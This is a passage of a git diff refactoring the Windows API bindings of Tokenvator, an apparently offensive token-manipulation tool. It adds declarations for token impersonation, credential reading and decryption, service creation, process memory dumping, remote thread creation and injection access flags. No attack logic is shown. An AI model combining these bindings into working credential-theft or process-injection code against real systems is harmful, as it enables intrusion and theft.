SecurityIdentification = 1, + SecurityImpersonation = 2, + SecurityDelegation = 3 + }; + + [StructLayout(LayoutKind.Sequential)] + public struct _SID_IDENTIFIER_AUTHORITY + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6, ArraySubType = UnmanagedType.I1)] + public byte[] Value; + } + + [Flags] + public enum _SID_NAME_USE + { + SidTypeUser = 1, + SidTypeGroup, + SidTypeDomain, + SidTypeAlias, + SidTypeWellKnownGroup, + SidTypeDeletedAccount, + SidTypeInvalid, + SidTypeUnknown, + SidTypeComputer, + SidTypeLabel + } + + [Flags] + public enum TOKEN_ELEVATION_TYPE + { + TokenElevationTypeDefault = 1, + TokenElevationTypeFull, + TokenElevationTypeLimited + } + + [Flags] + public enum _TOKEN_INFORMATION_CLASS + { + TokenUser = 1, + TokenGroups, + TokenPrivileges, + TokenOwner, + TokenPrimaryGroup, + TokenDefaultDacl, + TokenSource, + TokenType, + TokenImpersonationLevel, + TokenStatistics, + TokenRestrictedSids, + TokenSessionId, + TokenGroupsAndPrivileges, + TokenSessionReference, + TokenSandBoxInert, + TokenAuditPolicy, + TokenOrigin, + TokenElevationType, + TokenLinkedToken, + TokenElevation, + TokenHasRestrictions, + TokenAccessInformation, + TokenVirtualizationAllowed, + TokenVirtualizationEnabled, + TokenIntegrityLevel, + TokenUIAccess, + TokenMandatoryPolicy, + TokenLogonSid, + TokenIsAppContainer, + TokenCapabilities, + TokenAppContainerSid, + TokenAppContainerNumber, + TokenUserClaimAttributes, + TokenDeviceClaimAttributes, + TokenRestrictedUserClaimAttributes, + TokenRestrictedDeviceClaimAttributes, + TokenDeviceGroups, + TokenRestrictedDeviceGroups, + TokenSecurityAttributes, + TokenIsRestricted, + MaxTokenInfoClass + } + + [StructLayout(LayoutKind.Sequential)] + public struct _TOKEN_MANDATORY_LABEL + { + public _SID_AND_ATTRIBUTES Label; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _TOKEN_PRIVILEGES + { + public UInt32 PrivilegeCount; + public _LUID_AND_ATTRIBUTES Privileges; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _TOKEN_PRIVILEGES_ARRAY + { + public UInt32 PrivilegeCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 30)] + public _LUID_AND_ATTRIBUTES[] Privileges; + } + [StructLayout(LayoutKind.Sequential)] internal struct _TOKEN_STATISTICS { - public Structs._LUID TokenId; - public Structs._LUID AuthenticationId; + public Winnt._LUID TokenId; + public Winnt._LUID AuthenticationId; public LARGE_INTEGER ExpirationTime; public TOKEN_TYPE TokenType; public _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; @@ -84,7 +692,41 @@ internal struct _TOKEN_STATISTICS public DWORD DynamicAvailable; public DWORD GroupCount; public DWORD PrivilegeCount; - public Structs._LUID ModifiedId; + public Winnt._LUID ModifiedId; + } + + [Flags] + public enum TOKEN_TYPE + { + TokenPrimary = 1, + TokenImpersonation + } + + [StructLayout(LayoutKind.Sequential)] + public struct _XMM_SAVE_AREA32 + { + public WORD ControlWord; + public WORD StatusWord; + public byte TagWord; + public byte Reserved1; + public WORD ErrorOpcode; + public DWORD ErrorOffset; + public WORD ErrorSelector; + public WORD Reserved2; + public DWORD DataOffset; + public WORD DataSelector; + public WORD Reserved3; + public WORD MxCsr; + public WORD MxCsr_Mask; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public _M128A[] FloatRegisters; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public _M128A[] XmmRegisters; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)] + public byte[] Reserved4; } } } \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Libraries/advapi32.cs b/Tokenvator/Resources/Unmanaged/Libraries/advapi32.cs index 6474e72..64d98de 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/advapi32.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/advapi32.cs @@ -5,23 +5,27 @@ using System.Text; using Microsoft.Win32; -namespace Tokenvator +using Unmanaged.Headers; + +namespace Unmanaged.Libraries { - class advapi32 + sealed class advapi32 { - [DllImport("advapi32.dll", SetLastError=true)] + [DllImport("advapi32.dll", SetLastError = true)] public static extern Boolean AdjustTokenPrivileges( IntPtr TokenHandle, Boolean DisableAllPrivileges, - ref Structs._TOKEN_PRIVILEGES NewState, + ref Winnt._TOKEN_PRIVILEGES NewState, UInt32 BufferLengthInBytes, - ref Structs._TOKEN_PRIVILEGES PreviousState, + ref Winnt._TOKEN_PRIVILEGES PreviousState, out UInt32 ReturnLengthInBytes ); - [DllImport("advapi32.dll", SetLastError=true)] + + + [DllImport("advapi32.dll", SetLastError = true)] public static extern Boolean AllocateAndInitializeSid( - ref Structs.SidIdentifierAuthority pIdentifierAuthority, + ref Winnt._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, byte nSubAuthorityCount, Int32 dwSubAuthority0, Int32 dwSubAuthority1, @@ -35,193 +39,144 @@ out IntPtr pSid ); [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean AllocateAndInitializeSid( - ref Structs.SidIdentifierAuthority pIdentifierAuthority, - byte nSubAuthorityCount, - Int32 dwSubAuthority0, - Int32 dwSubAuthority1, - Int32 dwSubAuthority2, - Int32 dwSubAuthority3, - Int32 dwSubAuthority4, - Int32 dwSubAuthority5, - Int32 dwSubAuthority6, - Int32 dwSubAuthority7, - ref Structs._SID pSid - ); + public static extern Boolean CloseServiceHandle(IntPtr hSCObject); - [DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)] - public static extern bool ConvertSidToStringSid( - IntPtr pSID, - out IntPtr ptrSid - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr ControlService(IntPtr hService, Winsvc.dwControl dwControl, out Winsvc._SERVICE_STATUS lpServiceStatus); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean CreateProcessAsUser( - IntPtr hToken, - IntPtr lpApplicationName, - IntPtr lpCommandLine, - ref Structs._SECURITY_ATTRIBUTES lpProcessAttributes, - ref Structs._SECURITY_ATTRIBUTES lpThreadAttributes, - Boolean bInheritHandles, - Enums.CREATION_FLAGS dwCreationFlags, - IntPtr lpEnvironment, - IntPtr lpCurrentDirectory, - ref Structs._STARTUPINFO lpStartupInfo, - out Structs._PROCESS_INFORMATION lpProcessInfo - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr ControlServiceEx(IntPtr hService, Winsvc.dwControl dwControl, Int32 dwInfoLevel, out Winsvc._SERVICE_STATUS lpServiceStatus); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean CreateProcessAsUserW( - IntPtr hToken, - IntPtr lpApplicationName, - IntPtr lpCommandLine, - IntPtr lpProcessAttributes, - IntPtr lpThreadAttributes, - Boolean bInheritHandles, - Enums.CREATION_FLAGS dwCreationFlags, - IntPtr lpEnvironment, - IntPtr lpCurrentDirectory, - ref Structs._STARTUPINFO lpStartupInfo, - out Structs._PROCESS_INFORMATION lpProcessInfo - ); - - [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] - public static extern bool CreateProcessWithLogonW( - String userName, - String domain, - String password, - int logonFlags, - String applicationName, - String commandLine, - int creationFlags, - IntPtr environment, - String currentDirectory, - ref Structs._STARTUPINFO startupInfo, - out Structs._PROCESS_INFORMATION processInformation - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CreateProcessAsUser(IntPtr hToken, IntPtr lpApplicationName, IntPtr lpCommandLine, ref Winbase._SECURITY_ATTRIBUTES lpProcessAttributes, ref Winbase._SECURITY_ATTRIBUTES lpThreadAttributes, Boolean bInheritHandles, Winbase.CREATION_FLAGS dwCreationFlags, IntPtr lpEnvironment, IntPtr lpCurrentDirectory, ref Winbase._STARTUPINFO lpStartupInfo, out Winbase._PROCESS_INFORMATION lpProcessInfo); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean CreateProcessWithTokenW( - IntPtr hToken, - Enums.LOGON_FLAGS dwLogonFlags, - IntPtr lpApplicationName, - IntPtr lpCommandLine, - Enums.CREATION_FLAGS dwCreationFlags, - IntPtr lpEnvironment, - IntPtr lpCurrentDirectory, - ref Structs._STARTUPINFO lpStartupInfo, - out Structs._PROCESS_INFORMATION lpProcessInfo - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CreateProcessAsUserW(IntPtr hToken, IntPtr lpApplicationName, IntPtr lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, Boolean bInheritHandles, Winbase.CREATION_FLAGS dwCreationFlags, IntPtr lpEnvironment, IntPtr lpCurrentDirectory, ref Winbase._STARTUPINFO lpStartupInfo, out Winbase._PROCESS_INFORMATION lpProcessInfo); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean CredEnumerateW( - String Filter, - Int32 Flags, - out Int32 Count, - out IntPtr Credentials + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CreateProcessWithTokenW(IntPtr hToken, LOGON_FLAGS dwLogonFlags, IntPtr lpApplicationName, IntPtr lpCommandLine, Winbase.CREATION_FLAGS dwCreationFlags, IntPtr lpEnvironment, IntPtr lpCurrentDirectory, ref Winbase._STARTUPINFO lpStartupInfo, out Winbase._PROCESS_INFORMATION lpProcessInfo); + + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern Boolean CreateProcessWithLogonW( + String userName, + String domain, + String password, + int logonFlags, + String applicationName, + String commandLine, + int creationFlags, + IntPtr environment, + String currentDirectory, + ref Winbase._STARTUPINFO startupInfo, + out Winbase._PROCESS_INFORMATION processInformation ); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean CredFree( - IntPtr Buffer - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr CreateService( + IntPtr hSCManager, + String lpServiceName, + String lpDisplayName, + Winsvc.dwDesiredAccess dwDesiredAccess, + Winsvc.dwServiceType dwServiceType, + Winsvc.dwStartType dwStartType, + Winsvc.dwErrorControl dwErrorControl, + String lpBinaryPathName, + String lpLoadOrderGroup, + String lpdwTagId, + String lpDependencies, + String lpServiceStartName, + String lpPassword + ); + + [Flags] + public enum CRED_TYPE : uint + { + Generic = 1, + DomainPassword, + DomainCertificate, + DomainVisiblePassword, + GenericCertificate, + DomainExtended, + Maximum, + MaximumEx = Maximum + 1000, + } - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean CredReadW( - String target, - Enums.CRED_TYPE type, - Int32 reservedFlag, - out IntPtr credentialPtr - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CredEnumerateW(String Filter, Int32 Flags, out Int32 Count, out IntPtr Credentials); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean CredWriteW( - ref Structs._CREDENTIAL userCredential, - UInt32 flags - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CredFree(IntPtr Buffer); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean DuplicateTokenEx( - IntPtr hExistingToken, - UInt32 dwDesiredAccess, - ref Structs._SECURITY_ATTRIBUTES lpTokenAttributes, - Enums._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, - Enums.TOKEN_TYPE TokenType, - out IntPtr phNewToken - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CredReadW(String target, CRED_TYPE type, Int32 reservedFlag, out IntPtr credentialPtr); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean GetTokenInformation( - IntPtr TokenHandle, - Enums._TOKEN_INFORMATION_CLASS TokenInformationClass, - IntPtr TokenInformation, - UInt32 TokenInformationLength, - out UInt32 ReturnLength - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CredWriteW(ref WinCred._CREDENTIAL userCredential, UInt32 flags); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean GetTokenInformation( - IntPtr TokenHandle, - Enums._TOKEN_INFORMATION_CLASS TokenInformationClass, - ref Winnt._TOKEN_STATISTICS TokenInformation, - UInt32 TokenInformationLength, - out UInt32 ReturnLength - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean DeleteService(IntPtr hService); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean ImpersonateLoggedOnUser( - IntPtr hToken - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean DuplicateTokenEx(IntPtr hExistingToken, UInt32 dwDesiredAccess, IntPtr lpTokenAttributes, Winnt._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, Winnt.TOKEN_TYPE TokenType, out IntPtr phNewToken); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean ImpersonateSelf( - Enums.SECURITY_IMPERSONATION_LEVEL ImpersonationLevel - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean DuplicateTokenEx(IntPtr hExistingToken, UInt32 dwDesiredAccess, ref Winbase._SECURITY_ATTRIBUTES lpTokenAttributes, Winnt._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, Winnt.TOKEN_TYPE TokenType, out IntPtr phNewToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean ImpersonateLoggedOnUser(IntPtr hToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean ImpersonateNamedPipeClient(IntPtr hNamedPipe); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean ImpersonateSelf(Winnt._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean GetTokenInformation(IntPtr TokenHandle, Winnt._TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean GetTokenInformation(IntPtr TokenHandle, Winnt._TOKEN_INFORMATION_CLASS TokenInformationClass, ref Winnt._TOKEN_STATISTICS TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength); - [DllImport("advapi32.dll", SetLastError=true, CharSet = CharSet.Auto)] + [Flags] + public enum LOGON_FLAGS + { + WithProfile = 1, + NetCredentialsOnly + } + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] public static extern bool LookupAccountSid( - String lpSystemName, - //[MarshalAs(UnmanagedType.LPArray)] + String lpSystemName, IntPtr Sid, StringBuilder lpName, ref UInt32 cchName, StringBuilder ReferencedDomainName, ref UInt32 cchReferencedDomainName, - out Enums._SID_NAME_USE peUse + out Winnt._SID_NAME_USE peUse ); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean LookupPrivilegeName( - String lpSystemName, - IntPtr lpLuid, - StringBuilder lpName, - ref Int32 cchName - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean LookupPrivilegeName(String lpSystemName, IntPtr lpLuid, StringBuilder lpName, ref Int32 cchName); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean LookupPrivilegeValue( - String lpSystemName, - String lpName, - ref Structs._LUID luid - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean LookupPrivilegeValue(String lpSystemName, String lpName, ref Winnt._LUID luid); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean PrivilegeCheck( - IntPtr ClientToken, - Structs._PRIVILEGE_SET RequiredPrivileges, - out IntPtr pfResult - ); - - [DllImport("advapi32.dll", SetLastError=true, CharSet = CharSet.Auto)] - public static extern int RegOpenKeyEx( - UIntPtr hKey, - String subKey, - Int32 ulOptions, - Int32 samDesired, - out UIntPtr hkResult - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr OpenSCManager(String lpMachineName, String lpDatabaseName, Winsvc.dwSCManagerDesiredAccess dwDesiredAccess); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr OpenService(IntPtr hSCManager, String lpServiceName, Winsvc.dwDesiredAccess dwDesiredAccess); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean PrivilegeCheck(IntPtr ClientToken, Winnt._PRIVILEGE_SET RequiredPrivileges, out IntPtr pfResult); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean StartService(IntPtr hService, Int32 dwNumServiceArgs, String[] lpServiceArgVectors); - [DllImport("advapi32.dll", SetLastError=true)] + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] + public static extern int RegOpenKeyEx(UIntPtr hKey, String subKey, Int32 ulOptions, Int32 samDesired, out UIntPtr hkResult); + + [DllImport("advapi32.dll", SetLastError = true)] public static extern uint RegQueryValueEx( UIntPtr hKey, String lpValueName, @@ -231,7 +186,17 @@ public static extern uint RegQueryValueEx( ref Int32 lpcbData ); - [DllImport("advapi32.dll", SetLastError=true)] + [DllImport("advapi32.dll", SetLastError = true)] + public static extern UInt32 RegQueryValueEx( + UIntPtr hKey, + string lpValueName, + int lpReserved, + ref Int32 lpType, + IntPtr lpData, + ref int lpcbData + ); + + [DllImport("advapi32.dll", SetLastError = true)] public static extern Int32 RegQueryInfoKey( UIntPtr hKey, StringBuilder lpClass, @@ -247,7 +212,7 @@ public static extern Int32 RegQueryInfoKey( IntPtr lpftLastWriteTime ); - [DllImport("advapi32.dll", SetLastError=true)] + [DllImport("advapi32.dll", SetLastError = true)] public static extern Boolean RevertToSelf(); } } \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Libraries/crypt32.cs b/Tokenvator/Resources/Unmanaged/Libraries/crypt32.cs index 04e2373..c7b295f 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/crypt32.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/crypt32.cs @@ -5,18 +5,35 @@ using DWORD = System.UInt32; using QWORD = System.UInt64; +using LPCTSTR = System.String; using LPWSTR = System.Text.StringBuilder; using PVOID = System.IntPtr; using LPVOID = System.IntPtr; using DWORD_PTR = System.IntPtr; -namespace Tokenvator +using Unmanaged.Headers; + +namespace Unmanaged.Libraries { - class crypt32 + sealed class crypt32 { - [DllImport("crypt32.dll", SetLastError=true)] - internal static extern bool CryptUnprotectData( + public const UInt32 CRYPTPROTECT_UI_FORBIDDEN = 0x1; + public const UInt32 CRYPTPROTECT_LOCAL_MACHINE = 0x4; + + [DllImport("crypt32.dll", SetLastError = true)] + public static extern bool CryptStringToBinary( + LPCTSTR pszString, + DWORD cchString, + DWORD dwFlags, + out IntPtr pbBinary, + ref DWORD pcbBinary, + out DWORD pdwSkip, + out DWORD pdwFlags + ); + + [DllImport("crypt32.dll", SetLastError = true)] + public static extern bool CryptUnprotectData( ref Wincrypt._CRYPTOAPI_BLOB pDataIn, LPWSTR ppszDataDescr, ref Wincrypt._CRYPTOAPI_BLOB pOptionalEntropy, @@ -25,5 +42,16 @@ internal static extern bool CryptUnprotectData( DWORD dwFlag, ref Wincrypt._CRYPTOAPI_BLOB pDataOut ); + + [DllImport("crypt32.dll", SetLastError = true)] + public static extern bool CryptUnprotectData( + ref Wincrypt._CRYPTOAPI_BLOB pDataIn, + LPWSTR ppszDataDescr, + IntPtr pOptionalEntropy, + PVOID pvReserved, + IntPtr pPromptStruct, + DWORD dwFlag, + ref Wincrypt._CRYPTOAPI_BLOB pDataOut + ); } } \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Libraries/dbghelp.cs b/Tokenvator/Resources/Unmanaged/Libraries/dbghelp.cs new file mode 100644 index 0000000..7c7ee46 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Libraries/dbghelp.cs @@ -0,0 +1,63 @@ +using System; +using System.Runtime.InteropServices; + +using BOOLEAN = System.Boolean; + +using WORD = System.UInt16; +using DWORD = System.UInt32; +using QWORD = System.UInt64; + +using HANDLE = System.IntPtr; +using PVOID = System.IntPtr; +using LPVOID = System.IntPtr; +using DWORD_PTR = System.IntPtr; + +using ULONG = System.UInt32; +using ULONG32 = System.UInt32; +using ULONG64 = System.UInt64; + +using BOOL = System.Boolean; + +using Unmanaged.Headers; + +namespace Unmanaged.Libraries +{ + sealed class dbghelp + { + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _LOADED_IMAGE { + public string ModuleName; + public HANDLE hFile; + public IntPtr MappedAddress; + public Winnt._IMAGE_NT_HEADERS FileHeader; + public Winnt._IMAGE_SECTION_HEADER LastRvaSection; + public ULONG NumberOfSections; + public Winnt._IMAGE_SECTION_HEADER Sections; + public ULONG Characteristics; + public BOOLEAN fSystemImage; + public BOOLEAN fDOSImage; + public BOOLEAN fReadOnly; + public IntPtr Version; + public Winternl._LIST_ENTRY Links; + public ULONG SizeOfImage; + } + + [DllImport("dbghelp.dll", SetLastError = true)] + public static extern Boolean MiniDumpCallback( + PVOID CallbackParam, + IntPtr CallbackInput, + IntPtr CallbackOutput + ); + + [DllImport("dbghelp.dll", SetLastError = true)] + public static extern Boolean MiniDumpWriteDump( + HANDLE hProcess, + DWORD ProcessId, + HANDLE hFile, + Minidumpapiset._MINIDUMP_TYPE DumpType, + IntPtr ExceptionParam, + IntPtr UserStreamParam, + IntPtr CallbackParam + ); + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Libraries/fileapi.cs b/Tokenvator/Resources/Unmanaged/Libraries/fileapi.cs new file mode 100644 index 0000000..a2114f1 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Libraries/fileapi.cs @@ -0,0 +1,20 @@ +using System; +using System.Runtime.InteropServices; + +using Unmanaged.Headers; + +namespace Unmanaged.Libraries +{ + class fileapi + { + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean ReadFile( + IntPtr hFile, + ref Byte[] lpBuffer, + UInt32 nNumberOfBytesToRead, + ref UInt32 lpNumberOfBytesRead, + IntPtr lpOverlapped + //MinWinBase._OVERLAPPED lpOverlapped + ); + } +} diff --git a/Tokenvator/Resources/Unmanaged/Libraries/kernel32.cs b/Tokenvator/Resources/Unmanaged/Libraries/kernel32.cs index 3f37d61..cc7958a 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/kernel32.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/kernel32.cs @@ -2,52 +2,190 @@ using System.Runtime.InteropServices; using System.Text; -namespace Tokenvator +using Unmanaged.Headers; + +namespace Unmanaged.Libraries { - internal class kernel32 + sealed class kernel32 { + public const UInt32 PROCESS_CREATE_THREAD = 0x0002; + public const UInt32 PROCESS_QUERY_INFORMATION = 0x0400; + public const UInt32 PROCESS_VM_OPERATION = 0x0008; + public const UInt32 PROCESS_VM_WRITE = 0x0020; + public const UInt32 PROCESS_VM_READ = 0x0010; + public const UInt32 PROCESS_ALL_ACCESS = 0x1F0FFF; + + public const UInt32 MEM_COMMIT = 0x00001000; + public const UInt32 MEM_RESERVE = 0x00002000; + //////////////////////////////////////////////////////////////////////////////// - [DllImport("kernel32.dll")] - internal static extern Boolean CloseHandle(IntPtr hProcess); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean CloseHandle(IntPtr hProcess); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean ConnectNamedPipe( + IntPtr hNamedPipe, + MinWinBase._OVERLAPPED lpOverlapped + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean ConnectNamedPipe( + IntPtr hNamedPipe, + IntPtr lpOverlapped + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean CreateProcess( + String lpApplicationName, + String lpCommandLine, + ref Winbase._SECURITY_ATTRIBUTES lpProcessAttributes, + ref Winbase._SECURITY_ATTRIBUTES lpThreadAttributes, + Boolean bInheritHandles, + Winbase.CREATION_FLAGS dwCreationFlags, + IntPtr lpEnvironment, + String lpCurrentDirectory, + ref Winbase._STARTUPINFO lpStartupInfo, + out Winbase._PROCESS_INFORMATION lpProcessInformation + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr CreateNamedPipeA( + String lpName, + Winbase.OPEN_MODE dwOpenMode, + Winbase.PIPE_MODE dwPipeMode, + UInt32 nMaxInstances, + UInt32 nOutBufferSize, + UInt32 nInBufferSize, + UInt32 nDefaultTimeOut, + Winbase._SECURITY_ATTRIBUTES lpSecurityAttributes + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr CreateNamedPipeA( + String lpName, + Winbase.OPEN_MODE dwOpenMode, + Winbase.PIPE_MODE dwPipeMode, + UInt32 nMaxInstances, + UInt32 nOutBufferSize, + UInt32 nInBufferSize, + UInt32 nDefaultTimeOut, + IntPtr lpSecurityAttributes + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr CreateRemoteThread(IntPtr hHandle, IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, ref UInt32 lpThreadId); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, ref UInt32 lpThreadId); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr CreateToolhelp32Snapshot(UInt32 dwFlags, UInt32 th32ProcessID); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr GetCurrentThread(); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr GetCurrentProcess(); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)] + public static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern void GetNativeSystemInfo(out Winbase._SYSTEM_INFO lpSystemInfo); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern Int32 GetPrivateProfileString(String lpAppName, String lpKeyName, String lpDefault, StringBuilder lpReturnedString, UInt32 nSize, String lpFileName); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - [DllImport("kernel32.dll")] - internal static extern IntPtr GetCurrentThread(); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern void GetSystemInfo(out Winbase._SYSTEM_INFO lpSystemInfo); - [DllImport("kernel32.dll")] - internal static extern IntPtr GetCurrentProcess(); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool GetThreadContext(IntPtr hThread, IntPtr lpContext); - [DllImport("kernel32.dll")] - internal static extern void GetSystemInfo(out Winbase._SYSTEM_INFO lpSystemInfo); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean IsWow64Process(IntPtr hProcess, out Boolean Wow64Process); - [DllImport("kernel32.dll", SetLastError=true)] - internal static extern IntPtr GlobalSize(IntPtr hMem); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean Module32First(IntPtr hSnapshot, ref TiHelp32.tagMODULEENTRY32 lpme); - [DllImport("kernel32.dll")] - internal static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, Boolean bInheritHandle, UInt32 dwProcessId); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean Module32Next(IntPtr hSnapshot, ref TiHelp32.tagMODULEENTRY32 lpme); - [DllImport("kernel32.dll")] - internal static extern Boolean OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken); + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern IntPtr LoadLibrary(string lpFileName); - [DllImport("kernel32.dll")] - internal static extern Boolean OpenThreadToken(IntPtr ThreadHandle, UInt32 DesiredAccess, Boolean OpenAsSelf, ref IntPtr TokenHandle); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr LocalFree(IntPtr hMem); - [DllImport("kernel32.dll")] - internal static extern IntPtr OpenThread(UInt32 dwDesiredAccess, Boolean bInheritHandle, UInt32 dwThreadId); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean Process32First(IntPtr hSnapshot, ref TiHelp32.tagPROCESSENTRY32 lppe); - [DllImport("kernel32.dll")] - internal static extern Boolean ReadProcessMemory(IntPtr hProcess, UInt32 lpBaseAddress, IntPtr lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean Process32Next(IntPtr hSnapshot, ref TiHelp32.tagPROCESSENTRY32 lppe); - [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")] - internal static extern Boolean ReadProcessMemory64(IntPtr hProcess, UInt64 lpBaseAddress, IntPtr lpBuffer, UInt64 nSize, ref UInt32 lpNumberOfBytesRead); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, Boolean bInheritHandle, UInt32 dwProcessId); - [DllImport("kernel32.dll")] + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean OpenThreadToken(IntPtr ThreadHandle, UInt32 DesiredAccess, Boolean OpenAsSelf, ref IntPtr TokenHandle); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead); + + [DllImport("kernel32.dll", SetLastError = true, EntryPoint = "ReadProcessMemory")] + public static extern Boolean ReadProcessMemory64(IntPtr hProcess, UInt64 lpBaseAddress, IntPtr lpBuffer, 